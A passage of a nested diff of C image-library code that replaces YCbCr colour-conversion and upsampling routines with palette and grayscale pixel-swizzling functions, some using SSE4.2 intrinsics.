-- uint32_t y; -- for (y = 0u; y < height; y++) { -- const uint8_t* src0_major = src_ptr0 + ((y / inv_v0) * (size_t)stride0); -- const uint8_t* src1_major = src_ptr1 + ((y / inv_v1) * (size_t)stride1); -- const uint8_t* src2_major = src_ptr2 + ((y / inv_v2) * (size_t)stride2); -+// -------- - -- uint32_t x = 0u; -- while (x < width) { -- uint32_t end = x + 672u; -- if (end > width) { -- end = width; -- } -+static uint64_t // -+wuffs_private_impl__swizzle_xxxx__index__src(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ if (dst_palette_len != -+ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -+ return 0; -+ } -+ size_t dst_len4 = dst_len / 4; -+ size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; -- uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; -- uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; -+ const size_t loop_unroll_count = 4; - -- const uint8_t* up0 = (*upfunc0)( // -- scratch_buffer_2k_ptr + (0u * 672u), // -- src0_major + (x / inv_h0), // -- src0_major + (x / inv_h0), // -- src_len0, // -- 0u, false, false); -+ while (n >= loop_unroll_count) { -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), wuffs_base__peek_u32le__no_bounds_check( -+ dst_palette_ptr + ((size_t)s[0] * 4))); -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (1 * 4), wuffs_base__peek_u32le__no_bounds_check( -+ dst_palette_ptr + ((size_t)s[1] * 4))); -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (2 * 4), wuffs_base__peek_u32le__no_bounds_check( -+ dst_palette_ptr + ((size_t)s[2] * 4))); -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (3 * 4), wuffs_base__peek_u32le__no_bounds_check( -+ dst_palette_ptr + ((size_t)s[3] * 4))); - -- const uint8_t* up1 = (*upfunc1)( // -- scratch_buffer_2k_ptr + (1u * 672u), // -- src1_major + (x / inv_h1), // -- src1_major + (x / inv_h1), // -- src_len1, // -- 0u, false, false); -+ s += loop_unroll_count * 1; -+ d += loop_unroll_count * 4; -+ n -= loop_unroll_count; -+ } - -- const uint8_t* up2 = (*upfunc2)( // -- scratch_buffer_2k_ptr + (2u * 672u), // -- src2_major + (x / inv_h2), // -- src2_major + (x / inv_h2), // -- src_len2, // -- 0u, false, false); -+ while (n >= 1) { -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), wuffs_base__peek_u32le__no_bounds_check( -+ dst_palette_ptr + ((size_t)s[0] * 4))); - -- (*conv3func)(dst, x, end, y, up0, up1, up2); -- x = end; -- } -+ s += 1 * 1; -+ d += 1 * 4; -+ n -= 1; - } --} - --// -------- -+ return len; -+} - --// wuffs_base__pixel_swizzler__flattened_length is like --// wuffs_base__table__flattened_length but returns uint64_t (not size_t) and --// also accounts for subsampling. - static uint64_t // --wuffs_base__pixel_swizzler__flattened_length(uint32_t width, -- uint32_t height, -- uint32_t stride, -- uint32_t inv_h, -- uint32_t inv_v) { -- uint64_t scaled_width = (((uint64_t)width) + (inv_h - 1u)) / inv_h; -- uint64_t scaled_height = (((uint64_t)height) + (inv_v - 1u)) / inv_v; -- if (scaled_height <= 0u) { -- return 0u; -+wuffs_private_impl__swizzle_xxxx__index_binary_alpha__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ if (dst_palette_len != -+ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -+ return 0; - } -- return ((scaled_height - 1u) * stride) + scaled_width; --} -+ size_t dst_len4 = dst_len / 4; -+ size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - --WUFFS_BASE__MAYBE_STATIC wuffs_base__status // --wuffs_base__pixel_swizzler__swizzle_ycck( -- const wuffs_base__pixel_swizzler* p, -- wuffs_base__pixel_buffer* dst, -- wuffs_base__slice_u8 dst_palette, -- uint32_t width, -- uint32_t height, -- wuffs_base__slice_u8 src0, -- wuffs_base__slice_u8 src1, -- wuffs_base__slice_u8 src2, -- wuffs_base__slice_u8 src3, -- uint32_t width0, -- uint32_t width1, -- uint32_t width2, -- uint32_t width3, -- uint32_t height0, -- uint32_t height1, -- uint32_t height2, -- uint32_t height3, -- uint32_t stride0, -- uint32_t stride1, -- uint32_t stride2, -- uint32_t stride3, -- uint8_t h0, -- uint8_t h1, -- uint8_t h2, -- uint8_t h3, -- uint8_t v0, -- uint8_t v1, -- uint8_t v2, -- uint8_t v3, -- bool is_rgb_or_cmyk, -- bool triangle_filter_for_2to1, -- wuffs_base__slice_u8 scratch_buffer_2k) { -- if (!p) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } else if (!dst || (width > 0xFFFFu) || (height > 0xFFFFu) || // -- (4u <= ((unsigned int)h0 - 1u)) || // -- (4u <= ((unsigned int)h1 - 1u)) || // -- (4u <= ((unsigned int)h2 - 1u)) || // -- (4u <= ((unsigned int)v0 - 1u)) || // -- (4u <= ((unsigned int)v1 - 1u)) || // -- (4u <= ((unsigned int)v2 - 1u)) || // -- (scratch_buffer_2k.len < 2048u)) { -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ const size_t loop_unroll_count = 4; -+ -+ while (n >= loop_unroll_count) { -+ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -+ ((size_t)s[0] * 4)); -+ if (s0) { -+ wuffs_base__poke_u32le__no_bounds_check(d + (0 * 4), s0); -+ } -+ uint32_t s1 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -+ ((size_t)s[1] * 4)); -+ if (s1) { -+ wuffs_base__poke_u32le__no_bounds_check(d + (1 * 4), s1); -+ } -+ uint32_t s2 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -+ ((size_t)s[2] * 4)); -+ if (s2) { -+ wuffs_base__poke_u32le__no_bounds_check(d + (2 * 4), s2); -+ } -+ uint32_t s3 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -+ ((size_t)s[3] * 4)); -+ if (s3) { -+ wuffs_base__poke_u32le__no_bounds_check(d + (3 * 4), s3); -+ } -+ -+ s += loop_unroll_count * 1; -+ d += loop_unroll_count * 4; -+ n -= loop_unroll_count; - } -- if ((h3 != 0u) || (v3 != 0u)) { -- if ((4u <= ((unsigned int)h3 - 1u)) || // -- (4u <= ((unsigned int)v3 - 1u))) { -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ -+ while (n >= 1) { -+ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -+ ((size_t)s[0] * 4)); -+ if (s0) { -+ wuffs_base__poke_u32le__no_bounds_check(d + (0 * 4), s0); - } -+ -+ s += 1 * 1; -+ d += 1 * 4; -+ n -= 1; - } - -- uint32_t max_incl_h = wuffs_base__u32__max_of_4(h0, h1, h2, h3); -- uint32_t max_incl_v = wuffs_base__u32__max_of_4(v0, v1, v2, v3); -+ return len; -+} - -- // Calculate the inverse h and v ratios. -- // -- // It also canonicalizes (h=2 and max_incl_h=4) as equivalent to (h=1 and -- // max_incl_h=2). In both cases, the inv_h value is 2. -- uint32_t inv_h0 = max_incl_h / h0; -- uint32_t inv_h1 = max_incl_h / h1; -- uint32_t inv_h2 = max_incl_h / h2; -- uint32_t inv_h3 = h3 ? (max_incl_h / h3) : 0u; -- uint32_t inv_v0 = max_incl_v / v0; -- uint32_t inv_v1 = max_incl_v / v1; -- uint32_t inv_v2 = max_incl_v / v2; -- uint32_t inv_v3 = v3 ? (max_incl_v / v3) : 0u; -+// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") -+static uint64_t // -+wuffs_private_impl__swizzle_xxxx__y__x86_sse42(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; -+ size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- uint32_t half_width_for_2to1 = (width + 1u) / 2u; -- uint32_t half_height_for_2to1 = (height + 1u) / 2u; -- -- width = wuffs_base__u32__min_of_5( // -- width, // -- width0 * inv_h0, // -- width1 * inv_h1, // -- width2 * inv_h2, // -- wuffs_base__pixel_config__width(&dst->pixcfg)); -- height = wuffs_base__u32__min_of_5( // -- height, // -- height0 * inv_v0, // -- height1 * inv_v1, // -- height2 * inv_v2, // -- wuffs_base__pixel_config__height(&dst->pixcfg)); -+ __m128i shuffle = _mm_set_epi8(+0x03, +0x03, +0x03, +0x03, // -+ +0x02, +0x02, +0x02, +0x02, // -+ +0x01, +0x01, +0x01, +0x01, // -+ +0x00, +0x00, +0x00, +0x00); -+ __m128i or_ff = _mm_set_epi8(-0x01, +0x00, +0x00, +0x00, // -+ -0x01, +0x00, +0x00, +0x00, // -+ -0x01, +0x00, +0x00, +0x00, // -+ -0x01, +0x00, +0x00, +0x00); - -- if (((h0 * inv_h0) != max_incl_h) || // -- ((h1 * inv_h1) != max_incl_h) || // -- ((h2 * inv_h2) != max_incl_h) || // -- ((v0 * inv_v0) != max_incl_v) || // -- ((v1 * inv_v1) != max_incl_v) || // -- ((v2 * inv_v2) != max_incl_v) || // -- (src0.len < wuffs_base__pixel_swizzler__flattened_length( -- width, height, stride0, inv_h0, inv_v0)) || -- (src1.len < wuffs_base__pixel_swizzler__flattened_length( -- width, height, stride1, inv_h1, inv_v1)) || -- (src2.len < wuffs_base__pixel_swizzler__flattened_length( -- width, height, stride2, inv_h2, inv_v2))) { -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- if ((h3 != 0u) || (v3 != 0u)) { -- if (((h3 * inv_h3) != max_incl_h) || // -- ((v3 * inv_v3) != max_incl_v) || // -- (src3.len < wuffs_base__pixel_swizzler__flattened_length( -- width, height, stride3, inv_h3, inv_v3))) { -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- } -+ while (n >= 4) { -+ __m128i x; -+ x = _mm_cvtsi32_si128((int)(wuffs_base__peek_u32le__no_bounds_check(s))); -+ x = _mm_shuffle_epi8(x, shuffle); -+ x = _mm_or_si128(x, or_ff); -+ _mm_storeu_si128((__m128i*)(void*)d, x); - -- if (wuffs_base__pixel_format__is_planar(&dst->pixcfg.private_impl.pixfmt)) { -- // TODO: see wuffs_base__pixel_buffer__set_color_u32_at's TODO. -- return wuffs_base__make_status( -- wuffs_base__error__unsupported_pixel_swizzler_option); -+ s += 4 * 1; -+ d += 4 * 4; -+ n -= 4; - } - -- switch (dst->pixcfg.private_impl.pixfmt.repr) { -- case WUFFS_BASE__PIXEL_FORMAT__Y: -- case WUFFS_BASE__PIXEL_FORMAT__Y_16LE: -- case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: -- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: -- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -- case WUFFS_BASE__PIXEL_FORMAT__BGR: -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__BGRX: -- case WUFFS_BASE__PIXEL_FORMAT__RGB: -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__RGBX: -- break; -+ while (n >= 1) { -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), 0xFF000000 | (0x010101 * (uint32_t)s[0])); - -- default: -- // TODO: see wuffs_base__pixel_buffer__set_color_u32_at's TODO. -- return wuffs_base__make_status( -- wuffs_base__error__unsupported_pixel_swizzler_option); -+ s += 1 * 1; -+ d += 1 * 4; -+ n -= 1; - } - -- if ((width <= 0u) || (height <= 0u)) { -- return wuffs_base__make_status(NULL); -- } -+ return len; -+} -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 - -- wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_func conv3func = NULL; -+static uint64_t // -+wuffs_private_impl__swizzle_xxxx__y(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; -+ size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- if (is_rgb_or_cmyk) { -- conv3func = &wuffs_base__pixel_swizzler__swizzle_rgb__convert_3_general; -- } else { -- switch (dst->pixcfg.private_impl.pixfmt.repr) { -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__BGRX: --#if defined(WUFFS_BASE__CPU_ARCH__X86_64) -- if (wuffs_base__cpu_arch__have_x86_avx2()) { -- conv3func = -- &wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_bgrx_x86_avx2; -- break; -- } --#endif -- conv3func = &wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_bgrx; -- break; -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__RGBX: --#if defined(WUFFS_BASE__CPU_ARCH__X86_64) -- if (wuffs_base__cpu_arch__have_x86_avx2()) { -- conv3func = -- &wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_rgbx_x86_avx2; -- break; -- } --#endif -- conv3func = &wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_rgbx; -- break; -- default: -- conv3func = &wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_general; -- break; -- } -+ while (n >= 1) { -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), 0xFF000000 | (0x010101 * (uint32_t)s[0])); -+ -+ s += 1 * 1; -+ d += 1 * 4; -+ n -= 1; - } - -- void (*func)( -- wuffs_base__pixel_buffer * dst, // -- uint32_t width, // -- uint32_t height, // -- const uint8_t* src_ptr0, // -- const uint8_t* src_ptr1, // -- const uint8_t* src_ptr2, // -- uint32_t stride0, // -- uint32_t stride1, // -- uint32_t stride2, // -- uint32_t inv_h0, // -- uint32_t inv_h1, // -- uint32_t inv_h2, // -- uint32_t inv_v0, // -- uint32_t inv_v1, // -- uint32_t inv_v2, // -- uint32_t half_width_for_2to1, // -- uint32_t half_height_for_2to1, // -- uint8_t* scratch_buffer_2k_ptr, // -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func(*upfuncs)[4][4], -- wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_func conv3func) = -- &wuffs_base__pixel_swizzler__swizzle_ycc__general__box_filter; -- -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfuncs[4][4]; -- memcpy(&upfuncs, &wuffs_base__pixel_swizzler__swizzle_ycc__upsample_funcs, -- sizeof upfuncs); -+ return len; -+} - -- if (triangle_filter_for_2to1 && -- (wuffs_base__pixel_swizzler__has_triangle_upsampler(inv_h0, inv_v0) || -- wuffs_base__pixel_swizzler__has_triangle_upsampler(inv_h1, inv_v1) || -- wuffs_base__pixel_swizzler__has_triangle_upsampler(inv_h2, inv_v2))) { -- func = &wuffs_base__pixel_swizzler__swizzle_ycc__general__triangle_filter; -- -- upfuncs[0][1] = -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h1v2_triangle; -- upfuncs[1][0] = -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2v1_triangle; -- upfuncs[1][1] = -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2v2_triangle; -- --#if defined(WUFFS_BASE__CPU_ARCH__X86_64) --#if defined(__GNUC__) && !defined(__clang__) -- // Don't use our AVX2 implementation for GCC (but do use it for clang). For -- // some unknown reason, GCC performs noticably better on the non-SIMD -- // version. Possibly because GCC's auto-vectorizer is smarter (just with -- // SSE2, not AVX2) than our hand-written code, but that's just a guess. -- // -- // See commits 51bc60ef9298cb2efc1b29a9681191f66d49820d and -- // cd769a0cdf1b5affee13f6089b995f3d39569cb4 for benchmark numbers. -- // -- // See also https://godbolt.org/z/MbhbPGEz4 for Debian Bullseye's clang 11 -- // versus gcc 10, where only gcc auto-vectorizes, although later clang -- // versions will also auto-vectorize. --#else -- if (wuffs_base__cpu_arch__have_x86_avx2()) { -- upfuncs[1][1] = -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2v2_triangle_x86_avx2; -- } --#endif --#endif -- } -+static uint64_t // -+wuffs_private_impl__swizzle_xxxx__y_16be(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; -+ size_t src_len2 = src_len / 2; -+ size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- if ((h3 != 0u) || (v3 != 0u)) { -- wuffs_base__pixel_swizzler__swizzle_ycc__convert_4_func conv4func = -- is_rgb_or_cmyk -- ? &wuffs_base__pixel_swizzler__swizzle_cmyk__convert_4_general -- : &wuffs_base__pixel_swizzler__swizzle_ycck__convert_4_general; -- wuffs_base__pixel_swizzler__swizzle_ycck__general__triangle_filter( // -- dst, width, height, // -- src0.ptr, src1.ptr, src2.ptr, src3.ptr, // -- stride0, stride1, stride2, stride3, // -- inv_h0, inv_h1, inv_h2, inv_h3, // -- inv_v0, inv_v1, inv_v2, inv_v3, // -- half_width_for_2to1, half_height_for_2to1, // -- scratch_buffer_2k.ptr, &upfuncs, conv4func); -+ while (n >= 1) { -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), 0xFF000000 | (0x010101 * (uint32_t)s[0])); - -- } else { -- (*func)( // -- dst, width, height, // -- src0.ptr, src1.ptr, src2.ptr, // -- stride0, stride1, stride2, // -- inv_h0, inv_h1, inv_h2, // -- inv_v0, inv_v1, inv_v2, // -- half_width_for_2to1, half_height_for_2to1, // -- scratch_buffer_2k.ptr, &upfuncs, conv3func); -+ s += 1 * 2; -+ d += 1 * 4; -+ n -= 1; - } - -- return wuffs_base__make_status(NULL); -+ return len; - } - - // -------- - --// ‼ WUFFS MULTI-FILE SECTION +x86_avx2 --#if defined(WUFFS_BASE__CPU_ARCH__X86_64) --WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") --static void // --wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_bgrx_x86_avx2( -- wuffs_base__pixel_buffer* dst, -- uint32_t x, -- uint32_t x_end, -- uint32_t y, -- const uint8_t* up0, -- const uint8_t* up1, -- const uint8_t* up2) { -- if ((x + 32u) > x_end) { -- wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_bgrx( // -- dst, x, x_end, y, up0, up1, up2); -- return; -+static uint64_t // -+wuffs_private_impl__swizzle_xxxxxxxx__index__src(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ if (dst_palette_len != -+ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -+ return 0; - } -+ size_t dst_len8 = dst_len / 8; -+ size_t len = (dst_len8 < src_len) ? dst_len8 : src_len; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- size_t dst_stride = dst->private_impl.planes[0].stride; -- uint8_t* dst_iter = dst->private_impl.planes[0].ptr + -- (dst_stride * ((size_t)y)) + (4u * ((size_t)x)); -- -- // u0001 = u16x16 [0x0001 .. 0x0001] -- // u00FF = u16x16 [0x00FF .. 0x00FF] -- // uFF80 = u16x16 [0xFF80 .. 0xFF80] -- // uFFFF = u16x16 [0xFFFF .. 0xFFFF] -- const __m256i u0001 = _mm256_set1_epi16(+0x0001); -- const __m256i u00FF = _mm256_set1_epi16(+0x00FF); -- const __m256i uFF80 = _mm256_set1_epi16(-0x0080); -- const __m256i uFFFF = _mm256_set1_epi16(-0x0001); -+ while (n >= 1) { -+ wuffs_base__poke_u64le__no_bounds_check( -+ d + (0 * 8), wuffs_base__color_u32__as__color_u64( -+ wuffs_base__peek_u32le__no_bounds_check( -+ dst_palette_ptr + ((size_t)s[0] * 4)))); - -- // p8000_p0000 = u16x16 [0x8000 0x0000 .. 0x8000 0x0000] -- const __m256i p8000_p0000 = _mm256_set_epi16( // -- +0x0000, -0x8000, +0x0000, -0x8000, // -- +0x0000, -0x8000, +0x0000, -0x8000, // -- +0x0000, -0x8000, +0x0000, -0x8000, // -- +0x0000, -0x8000, +0x0000, -0x8000); -+ s += 1 * 1; -+ d += 1 * 8; -+ n -= 1; -+ } - -- // Per wuffs_base__color_ycc__as__color_u32, the formulae: -- // -- // R = Y + 1.40200 * Cr -- // G = Y - 0.34414 * Cb - 0.71414 * Cr -- // B = Y + 1.77200 * Cb -- // -- // When scaled by 1<<16: -- // -- // 0.34414 becomes 0x0581A = 22554. -- // 0.71414 becomes 0x0B6D2 = 46802. -- // 1.40200 becomes 0x166E9 = 91881. -- // 1.77200 becomes 0x1C5A2 = 116130. -- // -- // Separate the integer and fractional parts, since we work with signed -- // 16-bit SIMD lanes. The fractional parts range from -0.5 .. +0.5 (as -- // floating-point) which is from -0x8000 .. +0x8000 (as fixed-point). -- // -- // -0x3A5E = -0x20000 + 0x1C5A2 The B:Cb factor. -- // +0x66E9 = -0x10000 + 0x166E9 The R:Cr factor. -- // -0x581A = +0x00000 - 0x0581A The G:Cb factor. -- // +0x492E = +0x10000 - 0x0B6D2 The G:Cr factor. -- const __m256i m3A5E = _mm256_set1_epi16(-0x3A5E); -- const __m256i p66E9 = _mm256_set1_epi16(+0x66E9); -- const __m256i m581A_p492E = _mm256_set_epi16( // -- +0x492E, -0x581A, +0x492E, -0x581A, // -- +0x492E, -0x581A, +0x492E, -0x581A, // -- +0x492E, -0x581A, +0x492E, -0x581A, // -- +0x492E, -0x581A, +0x492E, -0x581A); -+ return len; -+} - -- while (x < x_end) { -- // Load chroma values in even and odd columns (the high 8 bits of each -- // u16x16 element are zero) and then subtract 0x0080. -- // -- // cb_all = u8x32 [cb.00 cb.01 cb.02 cb.03 .. cb.1C cb.1D cb.1E cb.1F] -- // cb_eve = i16x16 [cb.00-0x80 cb.02-0x80 .. cb.1C-0x80 cb.1E-0x80 ] -- // cb_odd = i16x16 [cb.01-0x80 cb.03-0x80 .. cb.1D-0x80 cb.1F-0x80 ] -- // -- // Ditto for the cr_xxx Chroma-Red values. -- __m256i cb_all = _mm256_lddqu_si256((const __m256i*)(const void*)up1); -- __m256i cr_all = _mm256_lddqu_si256((const __m256i*)(const void*)up2); -- __m256i cb_eve = _mm256_add_epi16(uFF80, _mm256_and_si256(cb_all, u00FF)); -- __m256i cr_eve = _mm256_add_epi16(uFF80, _mm256_and_si256(cr_all, u00FF)); -- __m256i cb_odd = _mm256_add_epi16(uFF80, _mm256_srli_epi16(cb_all, 8)); -- __m256i cr_odd = _mm256_add_epi16(uFF80, _mm256_srli_epi16(cr_all, 8)); -+static uint64_t // -+wuffs_private_impl__swizzle_xxxxxxxx__index_binary_alpha__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ if (dst_palette_len != -+ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -+ return 0; -+ } -+ size_t dst_len8 = dst_len / 8; -+ size_t len = (dst_len8 < src_len) ? dst_len8 : src_len; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- // ---- -+ while (n >= 1) { -+ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -+ ((size_t)s[0] * 4)); -+ if (s0) { -+ wuffs_base__poke_u64le__no_bounds_check( -+ d + (0 * 8), wuffs_base__color_u32__as__color_u64(s0)); -+ } - -- // Calculate: -- // -- // B-Y = (+1.77200 * Cb) as floating-point -- // R-Y = (+1.40200 * Cr) as floating-point -- // -- // B-Y = ((0x2_0000 - 0x3A5E) * Cb) as fixed-point -- // R-Y = ((0x1_0000 + 0x66E9) * Cr) as fixed-point -- // -- // B-Y = ((-0x3A5E * Cb) + ("2.0" * Cb)) -- // R-Y = ((+0x66E9 * Cr) + ("1.0" * Cr)) -+ s += 1 * 1; -+ d += 1 * 8; -+ n -= 1; -+ } - -- // Multiply by m3A5E or p66E9, taking the high 16 bits. There's also a -- // doubling (add x to itself), adding-of-1 and halving (shift right by 1). -- // That makes multiply-and-take-high round to nearest (instead of down). -- __m256i tmp_by_eve = _mm256_srai_epi16( -- _mm256_add_epi16( -- _mm256_mulhi_epi16(_mm256_add_epi16(cb_eve, cb_eve), m3A5E), u0001), -- 1); -- __m256i tmp_by_odd = _mm256_srai_epi16( -- _mm256_add_epi16( -- _mm256_mulhi_epi16(_mm256_add_epi16(cb_odd, cb_odd), m3A5E), u0001), -- 1); -- __m256i tmp_ry_eve = _mm256_srai_epi16( -- _mm256_add_epi16( -- _mm256_mulhi_epi16(_mm256_add_epi16(cr_eve, cr_eve), p66E9), u0001), -- 1); -- __m256i tmp_ry_odd = _mm256_srai_epi16( -- _mm256_add_epi16( -- _mm256_mulhi_epi16(_mm256_add_epi16(cr_odd, cr_odd), p66E9), u0001), -- 1); -+ return len; -+} - -- // Add (2 * Cb) and (1 * Cr). -- __m256i by_eve = -- _mm256_add_epi16(tmp_by_eve, _mm256_add_epi16(cb_eve, cb_eve)); -- __m256i by_odd = -- _mm256_add_epi16(tmp_by_odd, _mm256_add_epi16(cb_odd, cb_odd)); -- __m256i ry_eve = _mm256_add_epi16(tmp_ry_eve, cr_eve); -- __m256i ry_odd = _mm256_add_epi16(tmp_ry_odd, cr_odd); -+static uint64_t // -+wuffs_private_impl__swizzle_xxxxxxxx__y(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len8 = dst_len / 8; -+ size_t len = (dst_len8 < src_len) ? dst_len8 : src_len; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- // ---- -+ while (n >= 1) { -+ wuffs_base__poke_u64le__no_bounds_check( -+ d + (0 * 8), 0xFFFF000000000000 | (0x010101010101 * (uint64_t)s[0])); - -- // Calculate: -- // -- // G-Y = (-0.34414 * Cb) + -- // (-0.71414 * Cr) as floating-point -- // -- // G-Y = ((+0x0_0000 - 0x581A) * Cb) + -- // ((-0x1_0000 + 0x492E) * Cr) as fixed-point -- // -- // G-Y = (-0x581A * Cb) + -- // (+0x492E * Cr) - ("1.0" * Cr) -+ s += 1 * 1; -+ d += 1 * 8; -+ n -= 1; -+ } - -- // Multiply-add to get ((-0x581A * Cb) + (+0x492E * Cr)). -- __m256i tmp0_gy_eve_lo = _mm256_madd_epi16( // -- _mm256_unpacklo_epi16(cb_eve, cr_eve), m581A_p492E); -- __m256i tmp0_gy_eve_hi = _mm256_madd_epi16( // -- _mm256_unpackhi_epi16(cb_eve, cr_eve), m581A_p492E); -- __m256i tmp0_gy_odd_lo = _mm256_madd_epi16( // -- _mm256_unpacklo_epi16(cb_odd, cr_odd), m581A_p492E); -- __m256i tmp0_gy_odd_hi = _mm256_madd_epi16( // -- _mm256_unpackhi_epi16(cb_odd, cr_odd), m581A_p492E); -+ return len; -+} - -- // Divide the i32x8 vectors by (1 << 16), rounding to nearest. -- __m256i tmp1_gy_eve_lo = -- _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_eve_lo, p8000_p0000), 16); -- __m256i tmp1_gy_eve_hi = -- _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_eve_hi, p8000_p0000), 16); -- __m256i tmp1_gy_odd_lo = -- _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_odd_lo, p8000_p0000), 16); -- __m256i tmp1_gy_odd_hi = -- _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_odd_hi, p8000_p0000), 16); -+static uint64_t // 